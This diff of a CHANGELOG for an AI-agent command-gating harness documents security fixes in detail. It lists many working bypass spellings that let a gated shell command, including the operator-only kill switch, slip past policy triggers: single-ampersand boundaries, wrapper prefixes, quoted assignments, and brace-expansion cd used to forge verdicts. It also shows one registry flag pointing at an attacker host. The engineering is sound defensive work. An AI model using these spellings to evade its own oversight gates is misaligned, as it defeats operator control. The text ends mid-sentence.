@lannguyensi/harness 0.41.0 → 0.43.0

package/CHANGELOG.md

@@ -7,6 +7,64 @@ and this project adheres to [Semantic Versioning](https://semver.org/).
 
 ## [Unreleased]
 
+## [0.43.0] - 2026-08-01
+
+> **Upgrade note:** the template-level changes in this release — the single-`&` trigger boundary (including the `operator_only` kill-switch deny) and the `mcp__grounding-mcp__` tool-prefix rename — live in the manifest templates, so an EXISTING install keeps its old `harness.yaml` triggers until the operator re-runs `harness init` (or edits the manifest by hand). The engine-side normaliser fixes below apply on package upgrade with no manifest change.
+
+### Security
+
+- **A single `&` was not a command boundary to any policy trigger, so a gated verb placed after one reached no gate at all, including an `operator_only` deny** (task `d834a065`). bash starts a new command after `&`, but the alternation every shipped `policies[].trigger.bash_match` shares listed only `&&`. Measured through the real prediction path against `docs/examples/full-manifest.yaml`, with each policy plain form as its own positive control and a PATH shim proving the verb really executed: `A=x&git status`, `A=x&git push`, `A=x&gh pr merge` and `A=x&harness pause` all missed their trigger, and `sleep 0 & git status` misses with no assignment prefix at all, so this is a boundary-alphabet gap rather than a quote-model one. The `harness pause` case is the sharpest: `deny-kill-switch-bypass` is `operator_only: true`, which no in-session evidence can open, and one character walked around it. Fix: the `&&` alternative becomes `&` in every policy trigger across `src/cli/init/templates.ts` and `docs/examples/full-manifest.yaml`. `&&` is subsumed rather than dropped, since in `A=x&&git status` the second `&` serves as the boundary, so the change is strictly more permissive and is pinned in both directions. **Cost, measured rather than argued** (the analysis that found this could not measure precision at all, 75 of 75 axes without a reference): a false-alarm corpus with bash deciding whether the verb really runs reports 3 pre-existing false alarms and 6 new ones, every new one of the shape "gated verb mentioned as text after a literal `&`" (`echo "a & git status"`, the same string inside a heredoc body, after a `#` comment, as a `grep` pattern, or as an assignment value). One more spelling outside that corpus behaves the same way: `sed -i 's/foo/& git status/' notes.md`, since `&` is sed's whole-match backreference. That is the already-open `dbc6d303` class, which fires on `&&` in text today, widened by one spelling; the direction is fail-closed. **Which policy a false alarm lands on matters, so it is recorded rather than averaged:** most land on `requires:`-gated policies an agent can satisfy itself, but a mention of `harness pause` after an `&` now trips `deny-kill-switch-bypass`, which is `operator_only: true` and has NO in-session recovery path. Writing prose that quotes this very fix in a Bash heredoc is enough to hit it. Measured live twice while reviewing this change. **Surfaces deliberately left on the old alphabet, named rather than swept:** three policy-pack runtime regexes (`CURATED_MUTATION_BASH_RE` and `GH_PR_MERGE_BASH_RE` in `src/policy-packs/builtin/post-merge-gate-runtime.ts`, `DEFAULT_PUSH_BASH_RE` in `src/policy-packs/builtin/solution-acceptance-runtime.ts`) and this repo's own `dogfood/harness.yaml`. They carry the identical gap on live gate surfaces, but a blanket sweep would be wrong: `ESCAPE_GIT_BASH_RE` / `ESCAPE_HARNESS_BASH_RE` in the same pack file are ALLOW-lists checked first, so widening those would LOOSEN a gate instead of hardening it. Tracked as follow-up `76671e5a` so the per-surface direction is decided rather than assumed. **What this does NOT touch:** `expire_on_bash_match` is a separate anchored family (`^gh pr (merge|close)`, `^git push origin (master|main)`) with no boundary alternation, deliberately left alone because widening it would change ledger-expiry semantics, and now pinned to stay anchored and alternation-free. Also unchanged: the quote-model bypasses (`cf3dff51`, `b093911d`) that survive this fix, and the head-spelling gaps (`"git" status`, `\git status`). A second emitter carried the same hole and is fixed here too, found by review rather than by the original sweep: `src/cli/init/composer.ts`, the `harness init --interactive` Custom profile, six patterns, so the bypass stayed live for every operator who picked Custom. Loss for the trigger layer was measured against the previous patterns with a passing positive control: **0 of 7,764 old matches lost** across all 15 shipped patterns, 900 newly matched, over a 68,040-string corpus of assignment prefixes, separators, wrappers and gated verbs. That number covers the RAW trigger layer only.
+
+**A third change was attempted, measured, and REVERTED, recorded here because the attempt is the useful part.** `BOUNDARY_RE` in `src/runtime/command-normalize.ts` has the same gap, and leaving it means the adjacent spelling `A=x&env -C /tmp git status` stays ungated (a wrapper can only be peeled after a recognised boundary). Adding `&` there closed that and 259 similar spellings, but review measured what the first corpus never sampled: `BOUNDARY_RE` is quote-unaware, `&` inside a quoted assignment value is common, and the split lands mid-quote so the value continuation never engages. Independently reproduced with a passing positive control: **140 of 140** sampled `<wrapper> FOO='a&b' <gated verb>` spellings LOST a gate they held before, including the `operator_only` kill-switch deny. Closing one bypass while opening a wider one is not a trade worth shipping, so the edit is reverted and the module now carries the measurement so the next attempt starts from it. The remaining `A=x&env ...` gap is tracked separately; it needs a design that does not regress the quoted-value case, not another character in that alternation. New tests in `tests/cli/init-full-template-pins.test.ts` (data-driven over all three profile templates plus `composeCustom()` output, asserting that EVERY declared trigger is exercised rather than merely one, and a negative pin that no shipped `bash_match` string in the templates, the composer, the example manifests or the docs still carries the old alternative, scanning each file as one whitespace-collapsed string because a per-line scan went blind to the four prettier-wrapped composer values, which a mutation confirmed) and `tests/cli/init-full-template-kill-switch-deny.test.ts`. The docs that taught the vulnerable anchor (`docs/writing-custom-policies.md`, `docs/ARCHITECTURE.md`, `docs/examples/policies/02-clean-check-before-push.yaml`) are updated, since they were the propagation vector.
+
+- **A git-verb `bash_match` policy trigger could be silently defeated by wrapping the command, and the bypass left NO audit trail at all — no ledger query, no decision, no `harness audit` row** (task `ea8becf5`). `preflight-before-investigation`'s trigger was a raw regex requiring the literal token `git` at a shell boundary, optionally preceded by `VAR=value` tokens; `env`/`nice`/`command`/`sudo`/`doas`/`time`/`timeout`/`stdbuf`/`setsid` wrappers, any git global option other than `-C`, a path-qualified `git` binary, or even a doubled space between `git` and its subcommand all defeated it. Reproduced live: `env -C <repo> git status` reached an un-preflighted repository while `cd <repo>; git status` was correctly blocked. Fix: a new pure normaliser, `src/runtime/command-normalize.ts`, peels the wrapper prefixes above (matching the git token by basename, e.g. `/usr/bin/git`) and canonicalises a git invocation's own global options (`-C`, `-c`, `--git-dir`, `--work-tree`, `--no-pager`, `--exec-path`, `--namespace`, …) down to `git <subcommand>`; `policyMatchesEvent` (`src/runtime/intercept.ts`) now tests each `bash_match` regex against the raw command and, only on a raw miss, against the normalised one — additive by construction, so nothing gated before this can become ungated, pinned by a superset test. This change lives entirely in the engine, so an already-installed manifest is fixed on upgrade — no `harness apply` or manifest edit required. **What this does NOT close, so no doc or commit claims it does:** only a `bash_match` whose peeled head token is literally `git` benefits at all. `review-before-merge-bash`'s `gh pr merge` trigger, `review-subagent-before-pr-create-bash`'s `gh pr create` trigger, `dogfood-before-release`'s `npm publish` half (its `git tag v` half IS covered), and all three `deny-*` operator-only kill switches (`harness pause`/`resume`/`gate`, the session-env-strip pattern, the pause-sentinel-write pattern) remain exactly as wrapper-bypassable as before this change — do not read it as having hardened those (since narrowed in this same Unreleased batch by task `432db3d3`, see below: the `gh`/`npm publish`/`harness` head tokens are now covered, while `deny-session-env-strip` and `deny-pause-sentinel-forgery` remain open there too). Also still open: `xargs git status` (deliberately excluded — `xargs` can invoke its wrapped command zero, one, or many times, unlike a transparent wrapper), a quoted subcommand (`git "status"`), backtick command substitution (`` echo `env -C /tmp git status` ``), `sh -c`, heredocs, `eval`, base64-decoded payloads, and quoted paths containing whitespace. **Correction (review round 2): `$(...)` command substitution is NOT open, unlike the backtick case right before it** — `echo $(env -C /tmp git status)` demonstrably blocks today, ACCIDENTALLY: `$(...)`'s opening paren happens to be the exact `(` character this module already treats as a shell boundary for the `(cd X && ...)` leading-subshell case, so it falls out of that, not a deliberate feature, and is now pinned by a dedicated test so an unrelated future edit can't silently drop the coincidence. Ten more measured bypasses found in the same review round (G2 finding, 2026-07-27), none of them peeled wrapper prefixes or a recognised `git` spelling: `exec`/`nohup`/`ionice`/`flock`/`script`/`chrt`/`taskset` wrapping `git status`, a backslash-escaped `git` token (`\git status`), a quoted git BINARY name (`"git" status` — the mirror image of the quoted-subcommand gap above), and `env -S "git status"` (the split-string flag hands off to a fresh, deliberately-opaque re-parse). An eleventh, `nice -10 git status` (the bare-dash form `nice(1)` documents as its PRIMARY spelling), was measured as a bypass in the same pass but is now CLOSED (G3 fix, review round 2): `nice` stays in the peeled-wrapper list, this just widens which of its own spellings are recognised. And an `env`-argument spelling like `--default-signal=INT`, which only one of the two independent env-peelers previously recognised, is ALSO now closed (G6 fix, review round 2): the earlier fix here (sharing the flag-NAME enumerations via exported constants in `src/runtime/read-only-bash.ts`) had only closed the flag-name-SET drift, not this specific bypass, which needed its own generic glued-`--long=value` catch-all mirrored into this module too. Separately (G4 finding, review round 2): above `MAX_NORMALIZE_LENGTH` (100,000 chars), normalisation used to skip SILENTLY — no stderr line, no audit row; `harness policy intercept` now emits one stderr line reporting the skip, and `docs/okf/gate-fail-posture-matrix.md` gained a matching row. **Newly widened false positives** (pre-existing class, task `dbc6d303`): quoted or heredoc text mentioning a wrapped git verb can now trigger where it previously did not — but only when the mention sits at a shell-boundary position (line start, or after `;` / `|` / `&&` / `(`), which is narrower than "anywhere in quoted text": measured, `echo "a; env git status"` blocks while `echo "env -C /tmp git status"` does not. Hit three times live during this fix's own development: an Understanding Report heredoc, a commit message containing an `&& git push` example, and a reviewer's own probe script whose case labels contained the literal verbs. `harness dry-run`'s trigger prediction now matches raw-or-normalised the same way `policy intercept` does, closing a debug-verb/runtime prediction mismatch on the identical spellings above.
+  - **Per-repository target resolution is explicitly NOT part of this task, and no doc or commit claims otherwise.** `${REPO}`/`${BRANCH}` (`src/cli/policy/intercept.ts`) still resolve from the hook's own cwd alone, exactly as in 0.42.0: a command that explicitly names a different repository (`git -C <B>`, `env -C <B>`, a leading `cd <B> &&`) does not change what `${REPO}`/`${BRANCH}` name. A `preflight:<repo>` fact recorded for repository A therefore still authorises a command that explicitly reads (or, chained, mutates) repository B — unchanged from the shipped 0.42.0 behaviour, not a new gap introduced here. A per-command target-directory resolution for these builtins was built and reviewed on this same task, but was found to regress security in three consecutive review rounds — Risk Gate risk declassification, a push-gate multi-invocation fail-open, and (found twice: first fixed via `&&`-chain coverage, then found still open via `|`/`||` chaining) a non-git gated verb inheriting a decoy repo's target from an unrelated, `-C`-scoped git call sharing the same command line (e.g. `git -C <decoy> rev-parse HEAD | gh pr merge`) — and was removed before shipping rather than patched a fourth time. Each fix was only ever partial because a single `targetDir` per event cannot express "this invocation targets repo B, but the gated verb after it runs in the caller's own cwd"; the correct fix needs to attribute a target to the SEGMENT that actually satisfies a policy's own trigger, which means the policy builtins becoming per-policy instead of per-event — an architectural change out of scope for this task, tracked as follow-up task `98ad072f`. The extraction this would have been built on (`command-normalize.ts`'s `targetDir`/`targetBase`, including its own git-vs-git and git-vs-non-git ambiguity rules) stays in the tree, fully tested but unwired, as that follow-up's foundation. New tests: `tests/runtime/command-normalize.test.ts`, new suites in `tests/runtime/intercept-cli.test.ts` and `tests/cli/dry-run.test.ts` (the G1 git-vs-non-git-verb ambiguity cases through the real `review-before-merge-bash`/`review-subagent-before-pr-create-bash`/`dogfood-before-release` triggers, the G2 ten-spelling ceiling plus the `$(...)` accidental-coverage pin, the G3 `nice` bare-form cases, the G6 `env --default-signal=INT` case, a `policy intercept` end-to-end pin on the G4 stderr line, and an explicit regression test that a command naming a foreign target repo resolves `${REPO}`/`${BRANCH}` to the CWD repo, not the named target, so a future reintroduction of target resolution cannot land unnoticed). Docs: `docs/okf/gate-fail-posture-matrix.md`, `docs/okf/debug-verb-selection.md`, `docs/okf/policy-engine-producer-wiring.md`, `docs/okf/codex-adapter-parity-gaps.md`, `docs/okf/pause-vs-gate-kill-switch.md`.
+
+- **Non-git `bash_match` triggers no longer lose to a one-word wrapper: `command-normalize.ts`'s head-token condition widened from literally-`git` to the closed set `git`/`gh`/`npm`/`harness`** (task `432db3d3`, follow-up to the `ea8becf5` entry above). Measured closed, per spelling through the real hook entry point with the shipped 0.42.0 binary as negative control: `env` / `env -C <dir>` / `nice` wrapping the `gh pr merge` verb, `env` wrapping `gh pr create`, `env` / `nice` wrapping `npm publish`, `env` / `nice` / `command` / `env -C <dir>` wrapping `harness pause`, plus whitespace-run spellings (`gh  pr merge`, `gh pr  merge`, tab forms, `npm  publish`) — the interior-run group via a full-segment single-space rejoin for set heads, because collapsing only the head-adjacent gap measurably left `gh pr  merge` open (review finding). Matching stays raw-OR-normalised and therefore strictly additive (superset pinned), with a new ordering pin: `env -u CLAUDE_CODE_SESSION_ID npm publish` must keep blocking `deny-session-env-strip` via the RAW match — the one shipped shape where the normalised form erases what another policy keys on, so this single test goes red if raw-first matching is ever collapsed to normalised-only. **What this does NOT close, measured and pinned rather than implied: only one of the three operator-only kill switches benefits.** `deny-session-env-strip` keys on `env`/`unset` head tokens and is structurally out of the normaliser's reach (its peel loop consumes `env -u <VAR>` while hunting for a gated command behind it, erasing the very text that trigger keys on); `deny-pause-sentinel-forgery` keys on `tee`/`cp`; both remain one-wrapper-word bypassable (`nice env -u CLAUDE_CODE_SESSION_ID ls`, `nice tee <sentinel>`), pinned as explicit not-covered tests. Also uncovered and pinned: tool-specific flags between head token and subcommand (`gh -R`, `npm --loglevel`) and path-qualified `gh`/`npm` spellings (byte-identical through the normaliser; a path-qualified `harness pause` still denies via the trigger regex's own `\S*/` alternative at the raw level). New false-positive class recorded: introspection spellings (`command -v harness pause`, `sudo -l harness pause`) now deny — over-block direction, distinct from the quoted/heredoc class (task `dbc6d303`), which this change widens twice: to wrapped non-git verb mentions at shell-boundary positions, and — via the full-segment rejoin — to whitespace-run spellings of them inside quoted text (measured example: `harness explain-policy --command "( npm  publish )"` now matches where only its single-spaced variant did before). A new drift guard, `tests/runtime/bash-match-head-token-drift.test.ts`, couples the engine's head-token set to `FULL_TEMPLATE`'s actual `bash_match` policies (policy inventory plus per-token spelling presence), so the next policy gating a new head token turns a test red instead of staying silently uncovered; the guard's own residual — a new alternative added ALONGSIDE a still-correct token inside an existing policy's regex escapes both checks — is stated in the test file header. Docs: the `deny-kill-switch-bypass` UPDATE comment in `src/cli/init/templates.ts` and `docs/okf/pause-vs-gate-kill-switch.md` now state the partial closure precisely instead of the pre-fix "no-op unless `git`" claim.
+
+- **SECURITY: a quoted env-assignment value with embedded whitespace (`VAR='hello world' git push`) bypassed every `bash_match` gate on BOTH matching layers — closed by continuing the assignment's value across tokens in the normaliser** (task `13e55484`, found by a read-only explorer during `d977ad58` and verified against the shipped binary, not derived). Measured at the real hook entry point with shipped 0.42.0 as control: `VAR='hello world' git push origin master` and `VAR='hello world' gh pr merge 4242 --squash` both produced "no policy matched" while their plain spellings blocked. The two layers failed on the same character: the raw regex's `(\w+=\S+\s+)*` cannot span an embedded space, and `command-normalize.ts`'s whitespace tokenizer split the assignment into `VAR='hello` + `world'`, the second token aborting the wrapper-peel loop so the segment came back byte-identical. Fix: a `consumeAssignment` helper continues an assignment's VALUE across whitespace-split tokens while an opening quote from that assignment stays unbalanced at a token's end AND a matching close exists in a later token, used by both the top-level peel loop and `peelEnv`'s own assignment scan (`env VAR='a b' git push` was the same bypass one wrapper deep) — deliberately NOT a general quote-aware tokenizer. **Review round 1 found the first version's load-bearing claim ("additive by construction") FALSE by measurement (CRITICAL, fixed before merge):** a 30k-case seeded differential fuzz against a master worktree surfaced 482 lost matches, rooted in ANSI-C quoting — bash escapes `\'` inside `$'...'`, a plain-`'...'` scanner closes on it — so `A=$'don\'t' env harness pause # '` left a phantom-open state that swallowed the gated head token and turned three MASTER-BLOCKED commands (push gate, merge gate, and the operator-only kill-switch deny) into "no policy matched", PATH-shim-verified as real invocations. Closed with a ONE-DIRECTIONAL GUARD: the continuation abandons back to the byte-exact pre-task one-token consume the moment the token it would consume next matches `GIT_TOKEN_RE` or `NON_GIT_HEAD_TOKENS`. **Scope of the guarantee, corrected in round 2 after the first re-wording overclaimed again:** the guard closes the HEAD-SWALLOW channel specifically (a diverging quote state can never swallow or re-target a recognised head token — round-2 re-verified: the round-1-style differential fuzz lost 0 of 19,994 cases). It is NOT universal monotonicity: a second, round-2-measured channel remains where the continuation closes on a wrapper's glued flag token and the peel resumes at that wrapper's next argument (`A='x timeout --signal=INT' 5 git push` matched on master, does not here — 550 of 41,440 adversarial cases). Every found member is a MASTER FALSE POSITIVE, PATH-shim-verified (110 are `bash -n` syntax errors, the other 440 execute the next word — `5`, `-e0` — never the gated verb), so no gated invocation is lost and the branch is the more bash-accurate side; the class is pinned so it cannot silently widen. Differential regression pins: the three ANSI-C repros, a wrapper-swallow case (`env VAR='a git push origin master' foo`), the wrapper-argument-list class above, and a path-qualified-glued-quote case (`VAR='a /usr/bin/git' git push` — the guard's exact-spelling check does not abandon there, and the REAL invocation behind it now matches, a measured fail-closed gain). An UNTERMINATED quote (`VAR='a git push`) keeps its pre-task normalised match, and the engagement assurance was re-scoped after being measured not load-bearing (the whole-corpus ≥8 threshold stayed green with every quoted entry deleted): every quoted-assign corpus entry must now match ONLY via normalisation, ≥4 entries, so disabling the continuation reddens the assertion itself — the dbc6d303 lesson applied twice. Closure pinned per variant: double quotes, multiple mixed-quoting assignments, assignment+wrapper, env-internal assignment, tab-in-value, chained quote runs (`'a b'"c d"`), and the second gated verb; mutation-probed both ways (guard removed → exactly the 4 differential pins red; both call sites reverted → 11 red: the 8 closure pins, the over-block pin, the corpus property, and the family engagement). **What this does NOT close, pinned as still-open rather than implied:** a shell-boundary character INSIDE the quoted value (`VAR='a; b' git push origin master` — quote-unaware `BOUNDARY_RE` splits the segment before tokenisation ever runs; measured bypass on both master and branch, outside this task's pre-declared budget per its halt criterion); a quoted value containing the literal word `git`/`gh`/`npm`/`harness` as its own token (`VAR='a git b' git push` — the guard's honest cost; byte-identical to master's behaviour, so nothing regressed); backslash-escaped whitespace without quotes (`VAR=a\ b git push`, task `b093911d`'s class); and the RAW regex half, deliberately unchanged (the engine-level fix heals installed manifests on upgrade — note the shipped 0.42.0 binary has NO normaliser at all, so every wrapped spelling here is 0.42.0-bypassable until the next release ships this whole Unreleased batch). **New accepted over-block, decided not discovered:** a quoted assignment inside TEXT at a segment-start position now matches (`echo "a; VAR='x y' git push"` blocks where master allowed) — fail-closed direction, same class the module's KNOWN OVER-MATCHING section documents, pinned as a boundary assertion. Latency (corrected twice in review — the first entry claimed sub-microsecond, the second gave numbers without naming the input shape, which varies the cost by >2x at the same length): 0.6-2µs per `normalizeCommand` call on typical spellings; at `MAX_NORMALIZE_LENGTH` (100k chars) the cost ranges by shape from ~1.2ms (plain command, both sides identical) through ~0.85ms master / ~1.09ms branch (assignment-heavy) to ~2.0ms master / ~2.3ms branch on the worst adversarial quoting shape — linear scaling on every shape, against a 1000ms hook budget.
+
+### Added
+
+- **Cross-build measurements of the Bash prefix parser's cd-target extraction now have a permanent, self-testing instrument: `scripts/measure-bash-prefix-parse.mjs` (`npm run measure:bash-prefix-parse -- --self-test`, then with `--baseline name=path` builds for a real run)** (task `47297478`). The `b093911d` run produced three consecutive measurement corpora that reported "0 lost cd targets" while being structurally incapable of reporting a loss (round 3: the separator-less arm rendered `A=xcd /tmp` and a non-writable cwd silently killed every redirect shape; round 4: exactly the one spelling per separator where the baseline is also null), each time turning into a false safety claim that cost a full review round. The tool hardens that run's `final-audit.mjs` into repo infrastructure: a candidate build of `src/runtime/bash-prefix-parse.ts` is measured against real bash (resolved once to an absolute path with execvp-faithful file/executable checks; the corpus children get a PATH containing ONLY the probe-shim directory, so no corpus command can resolve a real binary via PATH — that constrains lookups, not absolute paths, and the generator emitting no absolute binary paths is what makes "today nothing but the probe shim executes" true; the workspace also runs the shim once up front and fails with a self-naming error if the interpreter path is broken) and at least two baseline builds — duplicate baseline names are rejected instead of silently merging counter buckets. PER-ARM GATE: an arm whose shapes never ran, never entered the target, or whose baseline never hit is reported as proving nothing and is never folded into a total zero; a total that excludes such arms says so instead of printing a bare 0, and the baseline-independent candidate table (per-arm hits, phantoms, wrong targets — attribution down to the spelling) carries the same qualifier for arms that were never observed at all. A rendered legend states what a phantom is (bash did not enter the target ON THIS RUN, which includes a statically present `cd` on a short-circuited `||` branch — conservative for a risk gate, not by itself a parser defect). Both residual weaknesses the run's reviewer named in `final-audit.mjs` are fixed: every baseline keeps independent counters (a loss against two baselines counts against both, no `else if` folding), and a non-null-but-WRONG target is its own failure class for candidate and baselines alike, never a hit — so a wrong-target baseline cannot satisfy the gate either. The instrument proves it can fail before it is believed: the self-test (always run first; `--self-test` runs it alone) rebuilds the round-3 defect on purpose and requires the gate to flag the sabotaged arm as evidence-free via an entered-based delta that parser state cannot satisfy, carries a deliberately blind baseline as a positive control that the BASELINE-NEVER-HIT rung (the round-4 countermeasure) can fire, requires executed redirect shapes (writable-cwd control), and treats a candidate regression on the canonical arm as a loud warning rather than misdiagnosing it as a broken environment. The assertion set is a pure exported function (`evaluateSelfTest`) with its own failure-path unit tests, so a deleted assertion cannot vanish silently. New tests: `tests/scripts/measure-bash-prefix-parse.test.ts` (hermetic audit-core + self-test-assertion + arg-parsing suites with injected referee/parsers, plus a real-bash CLI self-test e2e via the INFRA-allowlisted `node`; the grandchild route is recorded at the spawn guard's residual-exposure note). `bash-prefix-parse.ts` and `command-normalize.ts` carry a MEASUREMENT RULE header pointer scoped to what the tool actually measures — `cdTarget` only; inline-env extraction and `command-normalize.ts`'s target extraction have NO instrument yet and say so. The parser itself is untouched.
+
+- **The drift guard that couples engine-side constants to the shipped manifest is now general, after the same defect shipped twice one day and one file apart** (task `074acf5d`). `432db3d3`'s guard checked one set in one file; `dbc6d303` then put `harness` — itself the gated head token of `deny-kill-switch-bypass` — into a NEW module's inert-consumer allowlist, reverting that policy's quoted-spelling hardening, and the existing guard structurally could not see it. `src/runtime/bash-match-facts.ts` derives the shipped manifest's `bash_match` facts live (which policies declare one, which literal head tokens each anchors on, which verbs) and answers "is this token gated by any shipped policy?" in one call; it throws at module-evaluation time when a policy is added, removed or renamed, so the curated map cannot drift silently. `src/runtime/bash-match-registry.ts` registers each engine-side set with a declared intent (`covers-gated-head-tokens` or `must-not-contain-gated-head-token`) and checks every registration against those facts. Both historical incidents are pinned as regressions and were re-verified by an independent reviewer against the REAL registrations, not fixtures. An unregistered exported set in the runtime layer reddens the guard, and the scan carries fixture-tree positive controls so it cannot rot into a no-op unnoticed. No runtime matching path changed. **What this does NOT catch, named verbatim in the module's LIMITS section rather than implied:** three independent adversarial review passes each found a way to register a set the registry accepts and should not, and the fix rounds were stopped after the third on a pre-declared criterion rather than adding a fourth check. Open and measured end to end: a covers registration declaring only `documented-uncovered` gated tokens (`env`, `unset`, `tee`, `cp` — four of the eight) passes every check with an entirely honest, live-coupled registration, which is precisely the `dbc6d303` shape; a registration's `has()` predicate is never cross-checked against the constant its `id`/`module` names, and the `must-not-contain` arm — where that shape lives — has no predicate check at all; `members` may declare coverage the predicate rejects, and `members: []` typechecks; a registration may name a module or id no exported constant matches. The redundancy check additionally forbids legitimate defence-in-depth double coverage, and five `new Set([...])` spellings (`as const`, a comment between `(` and `[`, backtick-quoted elements, union-literal annotations, a trailing comma) escape the scan by design rather than by oversight. Treat the registry as a tripwire for the accidental case, never as a boundary against a determined one; the registration surface is being redesigned to derive from the constant instead of accepting a self-description (follow-ups `209e6dc4`, `26c1d33e`).
+
+### Changed
+
+- **All agent-facing references to the grounding MCP tool prefix renamed from `mcp__agent-grounding__*` to `mcp__grounding-mcp__*`, matching the canonical registration name `grounding-mcp` that 0.42.0's doctor convention checks** (task `ca9b0026`). Since 0.42.0 stopped emitting `mcpServers` into `settings.json`, the documented registration path is `claude mcp add-json --scope user grounding-mcp ...`, and a session registered that way exposes its tools as `mcp__grounding-mcp__*` — but every `verb:`/`producers[].example`/`ux.run` line in `FULL_TEMPLATE` and the profiles, plus the solution-acceptance deny/guidance strings, still named the legacy `mcp__agent-grounding__*` prefix from the pre-0.42 project-scope registration, so a canonically-registered session was told to call a tool name it does not have. All 92 references across `src/`, `tests/`, and `docs/` renamed in one sweep. This is presentational only, verified before the change: no PreToolUse matcher, hook, or engine path keys on the tool NAME (the ledger gates read ledger content, which both registrations write identically, since both names spawn the same `grounding-mcp` binary) — so a still-legacy-registered session keeps satisfying every gate after this change, and the only behavioural effect is that guidance now names the tool a doctor-green session actually has. **What this does NOT rename:** references to `agent-grounding` as the REPO/package name in comments and docs, the `VERDICT_DIR_TAIL` filesystem path (`agent-grounding/solution-verdicts` — an on-disk state path, renaming it would orphan existing verdicts), uninstall's recognition of the legacy registration name (`name === "agent-grounding"` in `src/cli/uninstall/index.ts` — needed precisely to clean up pre-0.42 installs), and historical CHANGELOG entries. Existing tests updated in place (same sweep); the FULL_TEMPLATE surface was already pinned (the parity and composer tests now assert the new spelling), and a new repo-wide guard test (`tests/no-legacy-mcp-prefix.test.ts`) asserts the literal legacy prefix does not reappear anywhere under `src/` — added after review measured that a partial revert of the non-template surfaces (profiles, hook guidance strings) would otherwise ship green. Operator action (corrected in review: `harness apply` does NOT do this — it never rewrites `harness.yaml`, and the deny-time guidance is rendered straight from the loaded manifest): the pack-hook messages update on package upgrade with no operator step, but an EXISTING manifest keeps the legacy `verb:`/`producers[].example`/`ux.run` spellings until the operator re-runs `harness init` or edits `harness.yaml` by hand; sessions still on the legacy project-scope registration should re-register per `harness doctor` and drop the legacy entry.
+
+## [0.42.0] - 2026-07-27
+
+### Security
+
+- **The Risk Classifier's and understanding-gate's shared built-in read-only floor (`src/runtime/read-only-bash.ts`) now recognizes `cd` and a curated npm read-only subcommand set, closing a gap that let a prod-scoped `risk.severity_at_least` policy block plain navigation and dependency-tree reads on a production-resolved session — with two adjacent security fixes surfaced by adversarial review before this shipped** (task `fb67b402`). `cd` (pure navigation form only — any chained or redirected spelling still forfeits the classification via the existing shell-metacharacter guard) and `npm ls` / `list`, `view` / `info` / `show`, `outdated`, `why` / `explain`, `ping`, and `npm audit` (never `npm audit fix`) are now floored `low`-severity instead of unclassified, the same treatment `git status` / `git diff` already got. This is a curated POSITIVE allowlist, not a denylist: an npm subcommand this floor has not reasoned about — `install`, `ci`, `publish`, `update`, `version`, or a future verb — stays unclassified rather than assumed safe. This same shared classifier also feeds the understanding-gate's PreToolUse blocker (`isReadOnlyBashPipeline`), which now also passes `cd` / `npm audit` / `npm ls` without an approved Understanding Report — a deliberate widening, not incidental; see `docs/policy-packs/understanding-before-execution.md` for why, and its consciously-accepted pre-report network-read residual (already true of `git fetch` / `gh ... view`).
+  - **Fixed before ship (HIGH, adversarial review, round 1): the solution-acceptance anti-forgery write-guard's `cd`-into-verdict-dir block only closed the LITERAL-path spelling.** `cd`'s general read-only classification meant `src/cli/pack/hook-solution-acceptance-writeguard.ts`'s `evaluateWriteGuard` needed its own defense-in-depth pre-check so a bare `cd <verdict-dir>` — the setup half of a two-Bash-call forge — stays blocked (the actual forging write is separately closed by the pre-existing cwd-inside-dir check on the following call, which is unaffected and remains the load-bearing defense). The FIRST version of that pre-check only caught the literal, unquoted path spelling: `path.resolve` cannot literally evaluate a quoted (`cd "$DIR"`, `cd '$DIR'`), env-var/brace (`cd $SOLUTION_VERDICT_DIR`, `cd $HOME/...`, `cd ${HOME}/...`), tilde (`cd ~/...`), or glob (`cd .../solution-ver*`) spelling, so each of those seven forms silently took `cd`'s unconditional read-only fast path instead of reaching the existing text-reference check that already recognized every one of those spellings for any OTHER (non-cd) Bash command. Fixed: a `cd` target containing `$ ~ * ? [ " '` now skips the read-only fast path entirely and falls through to the same `bashReferencesVerdictDir` check, closing all seven spellings without reverting `cd`'s general classification.
+  - **Fixed before ship (MEDIUM, adversarial review, round 1): `npm audit "fix"` (and other shell-quoted spellings) floored as read-only.** The original `npm audit` guard was a token-equality denylist (`!tokens.slice(2).includes("fix")`) — a shell-quoting bypass, since npm's own arg parsing strips quoting before npm ever sees the argument, so `npm audit "fix"`, `'fix'`, `f''ix`, `fi"x"`, and `$'fix'` all run the mutating `npm audit fix` path in npm 11.17.0 while none of the raw, un-shell-evaluated tokens equals the literal string `fix`. Fixed with a POSITIVE shape instead, matching the module's allowlist-not-denylist contract: every token after `audit` must either start with `-` (a flag) or be the literal `signatures`, or the whole invocation forfeits the floor — closing every quoting variant and any future `npm audit <verb>` in one rule, at the acceptable, conservative cost of failing closed on any separated flag value (e.g. `npm audit --audit-level high`, `npm audit --omit dev` — use the glued `--flag=value` form to stay floored). Also added, same round: `--registry` / `--userconfig` / `--globalconfig` on ANY npm subcommand forfeits the floor (`npm audit --registry=http://attacker` would otherwise submit the full dependency manifest to an operator-unverified host); `info`, `show` (both `view` aliases) and `explain` (`why`'s formal name) joined the npm allowlist; other npm aliases (`la`, `ll`, `v`) are deliberately NOT floored, only canonical spellings.
+  - **Fixed before ship (HIGH, adversarial review, round 2): the round-1 `cd` fix's unresolvable-character set missed brace expansion, a ninth live spelling.** `CD_TARGET_UNRESOLVABLE_CHARS` had no `{`, `}`, or `,`, so `path.resolve` treated `cd <parent>/{solution-verdicts,x}` as a literal (non-existent) path segment — neither inside the dir nor flagged unresolvable — and the read-only fast path fired even though bash (verified against 3.2.57) expands the brace and navigates INTO the verdict dir, ignoring the extra alternative; the `-P` / `--` prefixed and cwd-relative forms were equally affected. Fixed in two parts: (1) `CD_TARGET_UNRESOLVABLE_CHARS` now includes `{ } ,`, so any brace-expansion spelling falls through to the reference check same as the other six spellings; (2) `bashReferencesVerdictDir`'s glob-metacharacter test (`src/policy-packs/builtin/solution-acceptance-runtime.ts`) widened from `/[*?[]/` to `/[*?[{]/` so the leaf-word fallback also catches a brace that SPLITS the leaf itself (`solution-verdict{s,}`), a narrower pre-existing hole (not `cd`-specific, not introduced by round 1) the same widening closes. Also this round: the per-scope npm registry override `--@scope:registry=URL` (npm resolves a scoped package's registry from `@scope:registry` before the plain `registry` config, so it is an equally live exfiltration vector) now forfeits the npm floor alongside the unscoped form; `cdTargetArgument` now strips one layer of surrounding quotes before either check runs, so `cd "<dir>-decoy"` behaves like the unquoted `cd <dir>-decoy` (both correctly NOT blocked) instead of being spelling-dependent; a positive test pins `npm audit -fix` (single dash) as deliberately floored (verified 